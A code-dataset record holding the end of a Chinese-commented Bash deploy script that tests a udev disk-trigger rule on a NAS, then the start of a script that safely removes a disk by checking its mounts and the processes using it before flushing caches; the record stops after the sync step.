echo -e "\n${BOLD}【验证udev规则有效性】${NC}"
echo "正在筛选符合条件的scsi_disk设备（避免唤醒休眠硬盘）..."
echo "---------------------------------------------------"
declare -a CANDIDATE_DEVICES=()
declare -a CANDIDATE_DESC=()
while read -r dev; do
state_file="${dev}/device/state"
if [ ! -f "$state_file" ] || [ "$(cat "$state_file")" != "running" ]; then
continue
fi
disk_scsi_id=$(basename "$dev")
disk_dev_subdir=$(find "$dev/device/block/" -maxdepth 1 -type d ! -name "block" | head -n1)
disk_dev=$(basename "$disk_dev_subdir")
[ -z "$disk_dev" ] && continue
disk_dev_path="/dev/$disk_dev"
disk_model=$(lsblk -d -n -o MODEL "$disk_dev_path" 2>/dev/null || echo "未知型号")
disk_rm=$(lsblk -d -n -o RM "$disk_dev_path" 2>/dev/null || echo 0)
disk_rotational=$(cat "/sys/block/${disk_dev}/rotational" 2>/dev/null || echo 1)
if echo "$disk_dev" | grep -qi "^mmcblk" || echo "$disk_model" | grep -qi "mmc"; then
echo "❌ 排除设备：/dev/${disk_dev}（MMC设备，型号：${disk_model}）"
continue
fi
# 新增：排除系统盘（综合判断）
is_system_disk=false
# 方法1：检查是否挂载为根文件系统
if mount | grep -q "^/dev/${disk_dev}[0-9]*.*on.*/ type"; then
is_system_disk=true
fi
# 方法2：检查udev系统盘属性
if udevadm info -q property -n "/dev/$disk_dev" 2>/dev/null | grep -q "UDISKS_SYSTEM=1"; then
is_system_disk=true
fi
if [ "$is_system_disk" = true ]; then
echo "❌ 排除设备：/dev/${disk_dev}（系统盘，型号：${disk_model}）"
continue
fi
#固态和机械盘规则
disk_size_raw=$(lsblk -d -n -o SIZE "$disk_dev_path" 2>/dev/null || echo "0")
if echo "$disk_size_raw" | grep -qi "G"; then
disk_size=$(echo "$disk_size_raw" | sed 's/[Gg]//; s/\..*//; s/[^0-9]//g')
elif echo "$disk_size_raw" | grep -qi "M"; then
mb_size=$(echo "$disk_size_raw" | sed 's/[Mm]//; s/\..*//; s/[^0-9]//g')
disk_size=$(( mb_size / 1024 ))
else
disk_size=0
fi
disk_size=${disk_size:-0}
is_usb_candidate=0
if [ "$disk_rm" -eq 1 ] && [ "$disk_size" -lt 64 ]; then
is_usb_candidate=1
device_type="U盘/读卡器"
type_desc="${device_type}（容量：${disk_size_raw}，型号：${disk_model}，判定条件：可移除设备 + 容量<64GB）"
echo "✅ 符合条件（优先U盘）：/dev/${disk_dev} - ${type_desc}"
CANDIDATE_DEVICES+=("$dev|$disk_size|$disk_size_raw|$disk_rm|u盘|$disk_dev|$disk_model|$disk_rotational")
CANDIDATE_DESC+=("$type_desc")
continue
fi
if [ "$disk_rotational" = "0" ] || echo "$disk_model" | grep -qiE "ssd|solid state"; then
disk_type="ssd"
type_desc="固态硬盘（容量：${disk_size_raw}，型号：${disk_model}，可移除：$( [ "$disk_rm" -eq 1 ] && echo "是" || echo "否" )，判定依据：$( [ "$disk_rotational" = "0" ] && echo "无旋转部件" || echo "型号判定" )"
echo "✅ 符合条件：/dev/${disk_dev} - ${type_desc}"
CANDIDATE_DEVICES+=("$dev|$disk_size|$disk_size_raw|$disk_rm|$disk_type|$disk_dev|$disk_model|$disk_rotational")
CANDIDATE_DESC+=("$type_desc")
else
disk_type="hdd"
hdd_state_desc=""
is_active=0
if command -v hdparm &>/dev/null; then
hdparm_output=$(hdparm -C "$disk_dev_path" 2>/dev/null | grep "drive state is:")
if echo "$hdparm_output" | grep -qiE "active|idle"; then
is_active=1
hdd_state_desc="（未休眠）"
else
hdd_state_desc="（已休眠，跳过）"
fi
else
power_state_file="/sys/block/${disk_dev}/power/state"
if [ -f "$power_state_file" ]; then
power_state=$(cat "$power_state_file")
if [ "$power_state" = "0" ] || [ "$power_state" = "active" ] || [ "$power_state" = "idle" ]; then
is_active=1
hdd_state_desc="（未休眠）"
else
hdd_state_desc="（已休眠，跳过）"
fi
else
hdd_state_desc="（状态未知，默认已休眠，跳过）"
fi
fi
if [ "$is_active" -eq 1 ]; then
type_desc="机械硬盘（容量：${disk_size_raw}，型号：${disk_model}，可移除：$( [ "$disk_rm" -eq 1 ] && echo "是" || echo "否" )，判定依据：有旋转部件）${hdd_state_desc}"
echo "✅ 符合条件：/dev/${disk_dev} - ${type_desc}"
CANDIDATE_DEVICES+=("$dev|$disk_size|$disk_size_raw|$disk_rm|$disk_type|$disk_dev|$disk_model|$disk_rotational")
CANDIDATE_DESC+=("$type_desc")
else
echo "❌ 排除设备：/dev/${disk_dev} - 机械硬盘（容量：${disk_size_raw}，型号：${disk_model}）${hdd_state_desc}"
fi
fi
done < <(find /sys/class/scsi_disk/ -maxdepth 1 -type l)
echo "---------------------------------------------------"
# 筛选最佳测试设备
TEST_DEVICE=""
TEST_DEVICE_INFO=""
candidate_count=${#CANDIDATE_DEVICES[@]}
if [ "$candidate_count" -gt 0 ]; then
echo -e "\n正在从 ${candidate_count} 个符合条件的设备中选择测试目标..."
# 1. 优先挑选U盘
for i in "${!CANDIDATE_DEVICES[@]}"; do
dev_info="${CANDIDATE_DEVICES[$i]}"
IFS='|' read -r dev size size_raw rm type dev_name model rotational <<< "$dev_info"
if [ "$type" = "u盘" ]; then
TEST_DEVICE="$dev"
TEST_DEVICE_INFO="${CANDIDATE_DESC[$i]}"
break
fi
done
# 2. 若无U盘，挑选固态硬盘
if [ -z "$TEST_DEVICE" ]; then
for i in "${!CANDIDATE_DEVICES[@]}"; do
dev_info="${CANDIDATE_DEVICES[$i]}"
IFS='|' read -r dev size size_raw rm type dev_name model rotational <<< "$dev_info"
if [ "$type" = "ssd" ]; then
TEST_DEVICE="$dev"
TEST_DEVICE_INFO="${CANDIDATE_DESC[$i]}"
break
fi
done
fi
# 3. 若无SSD，挑选未休眠的机械硬盘
if [ -z "$TEST_DEVICE" ]; then
for i in "${!CANDIDATE_DEVICES[@]}"; do
dev_info="${CANDIDATE_DEVICES[$i]}"
IFS='|' read -r dev size size_raw rm type dev_name model rotational <<< "$dev_info"
if [ "$type" = "hdd" ]; then
TEST_DEVICE="$dev"
TEST_DEVICE_INFO="${CANDIDATE_DESC[$i]}"
break
fi
done
fi
fi
# 筛选完毕执行模拟触发
if [ -n "$TEST_DEVICE" ]; then
echo -e "\n${GREEN}✅ 已选择测试设备：${TEST_DEVICE_INFO}${NC}"
dev_name=$(basename "$TEST_DEVICE")
log_position=$(wc -l < "$LOG_FILE" 2>/dev/null || echo 0)
echo " 向设备 [scsi_disk/$dev_name] 发送add事件模拟触发，..."
echo " 请等待日志验证约35秒..."
if sudo udevadm trigger \
--subsystem-match=scsi_disk \
--sysname-match="$dev_name" \
--action=add; then
sleep 35
# 对比触发前的日志位置检查日志是否有新的触发记录
new_trigger=$(tail -n +"$log_position" "$LOG_FILE" 2>/dev/null | grep -E "【自动触发-业务脚本启动】")
if [ -n "$new_trigger" ]; then
echo -e " ${GREEN}✓ 设备触发成功，已生成自动触发日志${NC}"
echo -e "${GREEN}✅ udev规则有效性验证成功，请在储存空间1/_HDDlog目录查看完整日志，${NC}"
echo -e "${GREEN}✅ 初次部署完成日志有两次执行记录，第一次是验证开机自启，第二次是验证udev规则模拟新插入磁盘触发${NC}"
else
echo -e " ${YELLOW}⚠ 设备触发成功，但未检测到新日志（可能udev规则无法触发systemd服务）${NC}"
fi
else
echo -e " ${RED}✗ 设备触发失败${NC}"
fi
else
echo -e "\n${YELLOW}⚠ 未检测到符合条件的scsi_disk设备（已排除mmc设备、系统盘和休眠硬盘），已跳过模拟测试，请按照后面提示的步骤手动测试${NC}"
# 手动验证udev步骤提示
echo -e "${YELLOW}如需验证udev自动触发功能，请按以下步骤：${NC}"
echo "1. 新插入能被系统识别为SCSI的磁盘（U盘可识别）；"
echo "2. 等待40秒（服务执行延迟）；"
echo "3. 查看日志：（飞牛系统的储存空间1通常挂载为/vol1/1000，可以在文件管理，储存空间1/_HDDlog目录查看日志文件），终端查看日志指令cat $LOG_FILE"
echo "4. 若日志中出现【自动触发-业务脚本启动】的最新时间记录，说明udev触发功能正常，能自动配置新插入的磁盘。"
fi
echo -e "\n${BOLD}---------------------------------------------------${NC}"
sleep 2
# 部署完成提示
echo -e "\n${GREEN}【✅ 部署已完成】已启用：关机磁盘安全断电管理功能 ${NC}"| tee -a "$LOG_FILE"
echo -e "【手动操作提示】" | tee -a "$LOG_FILE"
echo "1. 若自动化失败，手动执行指令代替：sudo $SERVICE_SCRIPT" | tee -a "$LOG_FILE"
echo "2. 查看完整配置日志：cat $LOG_FILE" | tee -a "$LOG_FILE"
echo "3. 卸载脚本：重新执行部署脚本并选择选项2" | tee -a "$LOG_FILE"
echo -e "【日志提示】本日志自动保留最新500行，老旧日志自动清理。如需手动清理可删除日志文件：$LOG_FILE" | tee -a "$LOG_FILE"
echo -e "\n${BOLD}---------------------------------------------------${NC}"
|
2301_82242223/3
|
manage_shutdown.sh
|
Shell
|
unknown
| 26,469
|
#!/bin/bash
# 安全移除硬盘脚本
# 功能：安全地移除USB/SATA/NVMe硬盘，避免数据损坏
# 重试函数
retry_command() {
local cmd="$1"
local max_attempts=${2:-3}
local delay=${3:-2}
for ((i=1; i<=max_attempts; i++)); do
if eval "$cmd"; then
return 0
fi
if [[ $i -lt $max_attempts ]]; then
echo " 尝试 $i/$max_attempts 失败，${delay}秒后重试..."
sleep $delay
fi
done
return 1
}
# 列出磁盘，排除系统盘和虚拟内存只读盘引导盘等等和系统相关的盘
echo "🔍 扫描系统中的磁盘..."
# 获取系统盘和关键盘（根目录、引导、交换分区等）
SYSTEM_DISKS=$(lsblk -n -o NAME,MOUNTPOINT 2>/dev/null | awk '$2 ~ /^\/($|boot|efi|var|usr|home$)/ || $2 ~ /^\/.*/ {print $1}' | sed 's/[0-9]*$//' | sort -u)
SWAP_DISKS=$(swapon --show=NAME --noheadings 2>/dev/null | xargs -r -n1 basename 2>/dev/null | sed 's/[0-9]*$//' | sort -u)
# 合并所有系统相关磁盘
ALL_SYSTEM_DISKS=$(echo -e "$SYSTEM_DISKS\n$SWAP_DISKS" | sort -u)
echo "📋 可安全移除的磁盘列表（已排除系统盘）："
echo "----------------------------------------"
# 显示可移除磁盘列表
AVAILABLE_DISKS=()
while IFS= read -r disk; do
if [[ -n "$disk" && ! " ${ALL_SYSTEM_DISKS[@]} " =~ " ${disk} " ]]; then
# 获取磁盘信息
MODEL=$(lsblk -d -o NAME,MODEL,SIZE 2>/dev/null | grep "^$disk" | awk '{$1=""; print $0}' | sed 's/^ *//')
if [[ -n "$MODEL" ]]; then
echo " ${disk}: $MODEL"
AVAILABLE_DISKS+=("$disk")
fi
fi
done < <(lsblk -nd -o NAME 2>/dev/null | grep -E '^[a-z]+$')
if [[ ${#AVAILABLE_DISKS[@]} -eq 0 ]]; then
echo "❌ 未找到可安全移除的磁盘"
exit 1
fi
echo "----------------------------------------"
# 用户输入设备名，例如sda即可
while true; do
read -p "请输入要移除的磁盘设备名（如sdb）: " USER_INPUT
USER_INPUT=$(echo "$USER_INPUT" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9]//g')
# 检查输入是否为合理
if [[ -z "$USER_INPUT" ]]; then
echo "❌ 输入为空，请重新输入有效的磁盘设备名"
continue
fi
# 验证输入格式（应该是sda、sdb、nvme0n1等格式）
if ! [[ "$USER_INPUT" =~ ^[a-z]+[0-9]*[a-z]*[0-9]*$ ]]; then
echo "❌ 输入格式错误，请输入有效的磁盘设备名（如sdb、nvme0n1）"
continue
fi
# 提取设备短名（去掉数字部分）
if [[ "$USER_INPUT" =~ ^(nvme[0-9]+n[0-9]+) ]]; then
DEVICE_SHORT="${BASH_REMATCH[1]}"
DEVICE="/dev/${USER_INPUT}"
else
DEVICE_SHORT=$(echo "$USER_INPUT" | sed 's/[0-9]*$//')
DEVICE="/dev/${USER_INPUT}"
fi
# 检查设备是否存在
if [[ ! -b "$DEVICE" && ! -b "/dev/${DEVICE_SHORT}" ]]; then
echo "❌ 设备 $DEVICE 不存在，请检查输入"
continue
fi
# 检查是否为系统盘虚拟内存只读盘引导盘等等和系统相关的盘
if [[ " ${ALL_SYSTEM_DISKS[@]} " =~ " ${DEVICE_SHORT} " ]]; then
echo "❌ 严重警告：$DEVICE 是系统关键磁盘，禁止移除！"
echo " 这可能导致系统崩溃或无法启动"
continue
fi
# 检查设备是否在可用磁盘列表中
if ! [[ " ${AVAILABLE_DISKS[@]} " =~ " ${DEVICE_SHORT} " ]]; then
echo "⚠️ 警告：$DEVICE 不在可安全移除的磁盘列表中"
while true; do
read -p "是否继续？(y/N): " -r
if [[ $REPLY =~ ^[Yy]$ ]]; then
break 2 # 跳出两层循环
elif [[ $REPLY =~ ^[Nn]$ || -z "$REPLY" ]]; then
echo "请重新输入设备名"
break
else
echo "❌ 无效输入，请输入 y 或 n"
fi
done
else
break # 输入有效，退出循环
fi
done
echo ""
echo "✅ 已选择设备: $DEVICE"
# 列出文件占用和进程占用（详细显示）
echo "🔎 检查磁盘占用情况..."
OCCUPIED=false
PROCESS_FOUND=false
echo ""
echo "📌 分区挂载检查:"
echo "========================"
# 检查1分区挂载情况
MOUNTED_PARTS=()
HAS_MOUNTED=false
for part in ${DEVICE}[0-9]* ${DEVICE}-* ${DEVICE}p[0-9]*; do
if [ -b "$part" ]; then
if mountpoint -q "$part" 2>/dev/null || mount | grep -q "$part"; then
MOUNT_INFO=$(mount | grep "$part")
MOUNT_POINT=$(echo "$MOUNT_INFO" | awk '{print $3}')
FS_TYPE=$(echo "$MOUNT_INFO" | awk '{print $5}')
echo "✅ 分区 $part 挂载在: $MOUNT_POINT (文件系统: $FS_TYPE)"
MOUNTED_PARTS+=("$part:$MOUNT_POINT")
HAS_MOUNTED=true
# 显示挂载点的磁盘使用情况
if df -h | grep -q "$part"; then
USAGE_INFO=$(df -h | grep "$part" | awk '{print " 使用情况: " $5 " (" $3 "/" $2 ")"}')
echo "$USAGE_INFO"
fi
echo ""
fi
fi
done
if [[ "$HAS_MOUNTED" == "false" ]]; then
echo "❌ 没有发现挂载的分区"
echo ""
fi
echo "🔍 进程占用检查:"
echo "========================"
# 检查2设备本身的进程占用
if command -v lsof >/dev/null 2>&1; then
echo ""
echo "📌 检查设备级进程占用:"
echo "------------------------"
DEVICE_PROCESSES=$(sudo lsof "$DEVICE" 2>/dev/null | grep -v "^COMMAND" || true)
if [[ -n "$DEVICE_PROCESSES" ]]; then
echo "⚠️ 设备 $DEVICE 被以下进程占用:"
echo "$DEVICE_PROCESSES" | head -20 | while read line; do
PROCESS_NAME=$(echo "$line" | awk '{print $1}')
PROCESS_PID=$(echo "$line" | awk '{print $2}')
# 识别系统关键进程 - 改进的匹配逻辑
IS_SYSTEM_PROCESS=false
# 精确匹配常见系统进程
if [[ "$PROCESS_NAME" =~ ^(mysql|mariadb|postgres|nginx|apache|httpd|docker|containerd|kube|udevadm|hdparm|smartd|smartctl|trim|systemd|systemd-journal|systemd-udevd|systemd-logind|systemd-networkd|systemd-resolved)$ ]]; then
IS_SYSTEM_PROCESS=true
fi
# 部分匹配系统进程（处理截断的进程名）
if [[ "$PROCESS_NAME" =~ ^systemd- ]] ||
[[ "$PROCESS_NAME" =~ ^udev ]] ||
[[ "$PROCESS_NAME" =~ ^smart ]] ||
[[ "$PROCESS_NAME" =~ ^hdparm ]] ||
[[ "$PROCESS_NAME" =~ ^docker ]] ||
[[ "$PROCESS_NAME" =~ ^containerd ]] ||
[[ "$PROCESS_NAME" =~ ^kube ]]; then
IS_SYSTEM_PROCESS=true
fi
# 包含关键词匹配
if [[ "$PROCESS_NAME" =~ (db|sql|web|server|docker|container|udev|hdparm|smart|trim|system) ]]; then
IS_SYSTEM_PROCESS=true
fi
if [[ "$IS_SYSTEM_PROCESS" == "true" ]]; then
echo " 🚨 $line (系统关键进程)"
else
echo " 📄 $line"
fi
done
if [[ $(echo "$DEVICE_PROCESSES" | wc -l) -gt 20 ]]; then
echo " ... 还有更多进程，共 $(echo "$DEVICE_PROCESSES" | wc -l) 个进程"
fi
PROCESS_FOUND=true
OCCUPIED=true
else
echo "✅ 设备 $DEVICE 无进程占用"
fi
else
echo "❌ lsof 命令不可用，无法检查进程占用"
fi
# 检查3所有分区的进程占用
if command -v lsof >/dev/null 2>&1; then
echo ""
echo "📌 检查分区级进程占用:"
echo "------------------------"
PART_PROCESS_FOUND=false
for part in ${DEVICE}[0-9]* ${DEVICE}-* ${DEVICE}p[0-9]*; do
if [ -b "$part" ]; then
PART_PROCESSES=$(sudo lsof "$part" 2>/dev/null | grep -v "^COMMAND" || true)
if [[ -n "$PART_PROCESSES" ]]; then
echo "⚠️ 分区 $part 被以下进程占用:"
echo "$PART_PROCESSES" | head -15 | while read line; do
PROCESS_NAME=$(echo "$line" | awk '{print $1}')
PROCESS_PID=$(echo "$line" | awk '{print $2}')
# 识别系统关键进程 - 改进的匹配逻辑
IS_SYSTEM_PROCESS=false
# 精确匹配常见系统进程
if [[ "$PROCESS_NAME" =~ ^(mysql|mariadb|postgres|nginx|apache|httpd|docker|containerd|kube|udevadm|hdparm|smartd|smartctl|trim|systemd|systemd-journal|systemd-udevd|systemd-logind|systemd-networkd|systemd-resolved)$ ]]; then
IS_SYSTEM_PROCESS=true
fi
# 部分匹配系统进程（处理截断的进程名）
if [[ "$PROCESS_NAME" =~ ^systemd- ]] ||
[[ "$PROCESS_NAME" =~ ^udev ]] ||
[[ "$PROCESS_NAME" =~ ^smart ]] ||
[[ "$PROCESS_NAME" =~ ^hdparm ]] ||
[[ "$PROCESS_NAME" =~ ^docker ]] ||
[[ "$PROCESS_NAME" =~ ^containerd ]] ||
[[ "$PROCESS_NAME" =~ ^kube ]]; then
IS_SYSTEM_PROCESS=true
fi
# 包含关键词匹配
if [[ "$PROCESS_NAME" =~ (db|sql|web|server|docker|container|udev|hdparm|smart|trim|system) ]]; then
IS_SYSTEM_PROCESS=true
fi
if [[ "$IS_SYSTEM_PROCESS" == "true" ]]; then
echo " 🚨 $line (系统关键进程)"
else
echo " 📄 $line"
fi
done
if [[ $(echo "$PART_PROCESSES" | wc -l) -gt 15 ]]; then
echo " ... 还有更多进程，共 $(echo "$PART_PROCESSES" | wc -l) 个进程"
fi
PROCESS_FOUND=true
OCCUPIED=true
PART_PROCESS_FOUND=true
echo ""
fi
fi
done
if [[ "$PART_PROCESS_FOUND" == "false" ]]; then
echo "✅ 所有分区均无进程占用"
fi
fi
# 检查4挂载点的进程占用
if [[ ${#MOUNTED_PARTS[@]} -gt 0 ]] && command -v lsof >/dev/null 2>&1; then
echo ""
echo "📌 检查挂载点进程占用:"
echo "------------------------"
MOUNT_PROCESS_FOUND=false
for part_mount in "${MOUNTED_PARTS[@]}"; do
MOUNT_POINT="${part_mount#*:}"
MOUNT_PROCESSES=$(sudo lsof +D "$MOUNT_POINT" 2>/dev/null | grep -v "^COMMAND" || true)
if [[ -n "$MOUNT_PROCESSES" ]]; then
echo "⚠️ 挂载点 $MOUNT_POINT 被以下进程占用:"
echo "$MOUNT_PROCESSES" | head -10 | while read line; do
PROCESS_NAME=$(echo "$line" | awk '{print $1}')
PROCESS_PID=$(echo "$line" | awk '{print $2}')
# 识别系统关键进程 - 改进的匹配逻辑
IS_SYSTEM_PROCESS=false
# 精确匹配常见系统进程
if [[ "$PROCESS_NAME" =~ ^(mysql|mariadb|postgres|nginx|apache|httpd|docker|containerd|kube|udevadm|hdparm|smartd|smartctl|trim|systemd|systemd-journal|systemd-udevd|systemd-logind|systemd-networkd|systemd-resolved)$ ]]; then
IS_SYSTEM_PROCESS=true
fi
# 部分匹配系统进程（处理截断的进程名）
if [[ "$PROCESS_NAME" =~ ^systemd- ]] ||
[[ "$PROCESS_NAME" =~ ^udev ]] ||
[[ "$PROCESS_NAME" =~ ^smart ]] ||
[[ "$PROCESS_NAME" =~ ^hdparm ]] ||
[[ "$PROCESS_NAME" =~ ^docker ]] ||
[[ "$PROCESS_NAME" =~ ^containerd ]] ||
[[ "$PROCESS_NAME" =~ ^kube ]]; then
IS_SYSTEM_PROCESS=true
fi
# 包含关键词匹配
if [[ "$PROCESS_NAME" =~ (db|sql|web|server|docker|container|udev|hdparm|smart|trim|system) ]]; then
IS_SYSTEM_PROCESS=true
fi
if [[ "$IS_SYSTEM_PROCESS" == "true" ]]; then
echo " 🚨 $line (系统关键进程)"
else
echo " 📄 $line"
fi
done
if [[ $(echo "$MOUNT_PROCESSES" | wc -l) -gt 10 ]]; then
echo " ... 还有更多进程，共 $(echo "$MOUNT_PROCESSES" | wc -l) 个进程"
fi
PROCESS_FOUND=true
OCCUPIED=true
MOUNT_PROCESS_FOUND=true
echo ""
fi
done
if [[ "$MOUNT_PROCESS_FOUND" == "false" ]]; then
echo "✅ 所有挂载点均无进程占用"
fi
fi
# 检查5使用fuser作为备用检查方法
if command -v fuser >/dev/null 2>&1; then
echo ""
echo "📌 使用fuser检查文件占用:"
echo "------------------------"
FUSER_FOUND=false
for part_mount in "${MOUNTED_PARTS[@]}"; do
MOUNT_POINT="${part_mount#*:}"
FUSER_PROCESSES=$(sudo fuser -v "$MOUNT_POINT" 2>/dev/null || true)
if [[ -n "$FUSER_PROCESSES" ]]; then
echo "⚠️ fuser检查挂载点 $MOUNT_POINT:"
echo "$FUSER_PROCESSES" | while read line; do
echo " 🔧 $line"
done
PROCESS_FOUND=true
OCCUPIED=true
FUSER_FOUND=true
echo ""
fi
done
if [[ "$FUSER_FOUND" == "false" ]]; then
echo "✅ fuser检查无进程占用"
fi
fi
echo "========================"
echo ""
# 总结占用情况 - 只考虑进程占用，不考虑挂载点
if [[ "$OCCUPIED" == "true" ]]; then
echo "⚠️ ⚠️ ⚠️ 警告：发现进程占用 ⚠️ ⚠️ ⚠️"
echo "========================================"
# 显示具体的占用类型和详细信息
if [[ "$PROCESS_FOUND" == "true" ]]; then
echo "📌 进程占用汇总:"
echo ""
# 重新显示设备级进程占用
if [[ -n "$DEVICE_PROCESSES" ]]; then
echo "🔧 设备级占用:"
echo "$DEVICE_PROCESSES" | head -5 | while read line; do
PROCESS_NAME=$(echo "$line" | awk '{print $1}')
PROCESS_PID=$(echo "$line" | awk '{print $2}')
# 识别系统关键进程 - 改进的匹配逻辑
IS_SYSTEM_PROCESS=false
# 精确匹配常见系统进程
if [[ "$PROCESS_NAME" =~ ^(mysql|mariadb|postgres|nginx|apache|httpd|docker|containerd|kube|udevadm|hdparm|smartd|smartctl|trim|systemd|systemd-journal|systemd-udevd|systemd-logind|systemd-networkd|systemd-resolved)$ ]]; then
IS_SYSTEM_PROCESS=true
fi
# 部分匹配系统进程（处理截断的进程名）
if [[ "$PROCESS_NAME" =~ ^systemd- ]] ||
[[ "$PROCESS_NAME" =~ ^udev ]] ||
[[ "$PROCESS_NAME" =~ ^smart ]] ||
[[ "$PROCESS_NAME" =~ ^hdparm ]] ||
[[ "$PROCESS_NAME" =~ ^docker ]] ||
[[ "$PROCESS_NAME" =~ ^containerd ]] ||
[[ "$PROCESS_NAME" =~ ^kube ]]; then
IS_SYSTEM_PROCESS=true
fi
# 包含关键词匹配
if [[ "$PROCESS_NAME" =~ (db|sql|web|server|docker|container|udev|hdparm|smart|trim|system) ]]; then
IS_SYSTEM_PROCESS=true
fi
if [[ "$IS_SYSTEM_PROCESS" == "true" ]]; then
echo " 🚨 $line (系统进程)"
else
echo " 📄 $line"
fi
done
if [[ $(echo "$DEVICE_PROCESSES" | wc -l) -gt 5 ]]; then
echo " ... 还有更多进程，共 $(echo "$DEVICE_PROCESSES" | wc -l) 个进程"
fi
echo ""
fi
# 重新显示分区级进程占用
PART_PROCESS_FOUND=false
for part in ${DEVICE}[0-9]* ${DEVICE}-* ${DEVICE}p[0-9]*; do
if [ -b "$part" ]; then
PART_PROCESSES=$(sudo lsof "$part" 2>/dev/null | grep -v "^COMMAND" || true)
if [[ -n "$PART_PROCESSES" ]]; then
PART_PROCESS_FOUND=true
echo "🔧 分区 $part 占用:"
echo "$PART_PROCESSES" | head -3 | while read line; do
PROCESS_NAME=$(echo "$line" | awk '{print $1}')
PROCESS_PID=$(echo "$line" | awk '{print $2}')
# 识别系统关键进程 - 改进的匹配逻辑
IS_SYSTEM_PROCESS=false
# 精确匹配常见系统进程
if [[ "$PROCESS_NAME" =~ ^(mysql|mariadb|postgres|nginx|apache|httpd|docker|containerd|kube|udevadm|hdparm|smartd|smartctl|trim|systemd|systemd-journal|systemd-udevd|systemd-logind|systemd-networkd|systemd-resolved)$ ]]; then
IS_SYSTEM_PROCESS=true
fi
# 部分匹配系统进程（处理截断的进程名）
if [[ "$PROCESS_NAME" =~ ^systemd- ]] ||
[[ "$PROCESS_NAME" =~ ^udev ]] ||
[[ "$PROCESS_NAME" =~ ^smart ]] ||
[[ "$PROCESS_NAME" =~ ^hdparm ]] ||
[[ "$PROCESS_NAME" =~ ^docker ]] ||
[[ "$PROCESS_NAME" =~ ^containerd ]] ||
[[ "$PROCESS_NAME" =~ ^kube ]]; then
IS_SYSTEM_PROCESS=true
fi
# 包含关键词匹配
if [[ "$PROCESS_NAME" =~ (db|sql|web|server|docker|container|udev|hdparm|smart|trim|system) ]]; then
IS_SYSTEM_PROCESS=true
fi
if [[ "$IS_SYSTEM_PROCESS" == "true" ]]; then
echo " 🚨 $line (系统进程)"
else
echo " 📄 $line"
fi
done
if [[ $(echo "$PART_PROCESSES" | wc -l) -gt 3 ]]; then
echo " ... 还有更多进程，共 $(echo "$PART_PROCESSES" | wc -l) 个进程"
fi
echo ""
fi
fi
done
# 重新显示挂载点进程占用
if [[ ${#MOUNTED_PARTS[@]} -gt 0 ]]; then
MOUNT_PROCESS_FOUND=false
for part_mount in "${MOUNTED_PARTS[@]}"; do
MOUNT_POINT="${part_mount#*:}"
MOUNT_PROCESSES=$(sudo lsof +D "$MOUNT_POINT" 2>/dev/null | grep -v "^COMMAND" || true)
if [[ -n "$MOUNT_PROCESSES" ]]; then
MOUNT_PROCESS_FOUND=true
echo "🔧 挂载点 $MOUNT_POINT 占用:"
echo "$MOUNT_PROCESSES" | head -3 | while read line; do
PROCESS_NAME=$(echo "$line" | awk '{print $1}')
PROCESS_PID=$(echo "$line" | awk '{print $2}')
# 识别系统关键进程 - 改进的匹配逻辑
IS_SYSTEM_PROCESS=false
# 精确匹配常见系统进程
if [[ "$PROCESS_NAME" =~ ^(mysql|mariadb|postgres|nginx|apache|httpd|docker|containerd|kube|udevadm|hdparm|smartd|smartctl|trim|systemd|systemd-journal|systemd-udevd|systemd-logind|systemd-networkd|systemd-resolved)$ ]]; then
IS_SYSTEM_PROCESS=true
fi
# 部分匹配系统进程（处理截断的进程名）
if [[ "$PROCESS_NAME" =~ ^systemd- ]] ||
[[ "$PROCESS_NAME" =~ ^udev ]] ||
[[ "$PROCESS_NAME" =~ ^smart ]] ||
[[ "$PROCESS_NAME" =~ ^hdparm ]] ||
[[ "$PROCESS_NAME" =~ ^docker ]] ||
[[ "$PROCESS_NAME" =~ ^containerd ]] ||
[[ "$PROCESS_NAME" =~ ^kube ]]; then
IS_SYSTEM_PROCESS=true
fi
# 包含关键词匹配
if [[ "$PROCESS_NAME" =~ (db|sql|web|server|docker|container|udev|hdparm|smart|trim|system) ]]; then
IS_SYSTEM_PROCESS=true
fi
if [[ "$IS_SYSTEM_PROCESS" == "true" ]]; then
echo " 🚨 $line (系统进程)"
else
echo " 📄 $line"
fi
done
if [[ $(echo "$MOUNT_PROCESSES" | wc -l) -gt 3 ]]; then
echo " ... 还有更多进程，共 $(echo "$MOUNT_PROCESSES" | wc -l) 个进程"
fi
echo ""
fi
done
fi
# 如果没有找到具体的进程信息，显示通用提示
if [[ -z "$DEVICE_PROCESSES" && "$PART_PROCESS_FOUND" == "false" && "$MOUNT_PROCESS_FOUND" == "false" ]]; then
echo "⚠️ 发现进程占用，但无法获取详细进程信息"
echo ""
fi
fi
# 提示脚本不执行杀进程，避免产生其他问题。
echo "⚠️ 注意：本脚本不杀进程，以免误杀系统进程或产生其他问题！！！请按以前检查结果手动处理。例如结束相册、影音，docker、下载等应用，结束smb共享等等再尝试，强制移除有风险！！！"
echo ""
# 提供选项
while true; do
echo "请选择操作："
echo "y) ⚠️ 强制移除（⚠️ 有数据丢失风险！）"
echo "n) 退出脚本，手动解除文件占用后重新运行"
echo ""
read -p "请输入选择 (y 或 n): " -r
case $REPLY in
y|Y)
# 二次确认
echo ""
echo "⚠️ 您选择了跳过进程检查，这可能导致数据丢失！"
read -p "请输入 'yes' 确认继续移除: " CONFIRM
if [[ "${CONFIRM,,}" == "yes" ]]; then
echo "⏭️ 忽略进程，进入强制移除流程..."
break
else
echo "❌ 确认失败，返回选择菜单"
echo ""
fi
;;
n|N)
echo "👋 退出脚本，请手动处理占用后重新运行"
exit 0
;;
*)
echo "❌ 无效选择，请重新输入 y 或 n"
;;
esac
done
else
echo "✅ 未发现进程占用，可以安全继续"
fi
echo ""
echo "========================================"
echo " 开始移除流程"
echo "========================================"
# 开始安全移除硬盘的主流程
echo -e "\n🚀 开始移除硬盘 $DEVICE..."
# 0. 最终确认
while true; do
read -p "确认要移除设备 $DEVICE？这将卸载所有分区并从系统移除设备 (y/N): " -r
if [[ $REPLY =~ ^[Yy]$ ]]; then
break
elif [[ $REPLY =~ ^[Nn]$ || -z "$REPLY" ]]; then
echo "操作已取消"
exit 0
else
echo "❌ 无效输入，请输入 y 或 n"
fi
done
# 1. 刷新磁盘缓存
echo "🔄 刷新磁盘缓存..."
retry_command "sudo blockdev --flushbufs $DEVICE 2>/dev/null" 2 1
sleep 2
# 刷新所有分区缓存
for part in ${DEVICE}[0-9]* ${DEVICE}-* ${DEVICE}p[0-9]*; do
if [ -b "$part" ]; then
sudo blockdev --flushbufs "$part" 2>/dev/null
fi
done
sleep 5
# 2. 同步数据
echo "📝 同步数据..."
sync
sleep 10
